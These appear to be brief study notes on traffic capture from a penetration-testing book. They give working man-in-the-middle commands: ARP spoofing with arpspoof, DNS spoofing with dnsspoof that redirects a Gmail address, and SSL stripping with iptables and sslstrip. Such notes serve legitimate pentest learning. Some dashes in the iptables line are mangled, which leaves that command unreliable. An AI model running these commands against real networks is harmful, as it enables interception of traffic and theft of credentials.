Capturing Traffic

Source: Georgia Weidman on “Advanced Penetration Test”

(1) ARP Spoofing
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.20.11 192.168.20.10
arpspoof -i eth0 -t 192.168.20.10 192.168.20.11

(2) Domain Name Service (DNS)
DNS Cache Poisoning
hosts.txt: 192.168.20.9 http://www.gmail.com
*Restart arpspoofing between gateway and target
dnsspoof -i eth0 -f hosts.txt

(3) Secure Socket Layer (SSL)​
Crypto between browser and webserver
Can’t see credentials in plaintext

SSL Man in the Middle​
SSL Stripping​
iptables -t nat -A PREROUTING -p tcp — destination-port 80 -j REDIRECT –to-port 8080
Spoof the default gateway with Arpspoof
sslstrip -l 8080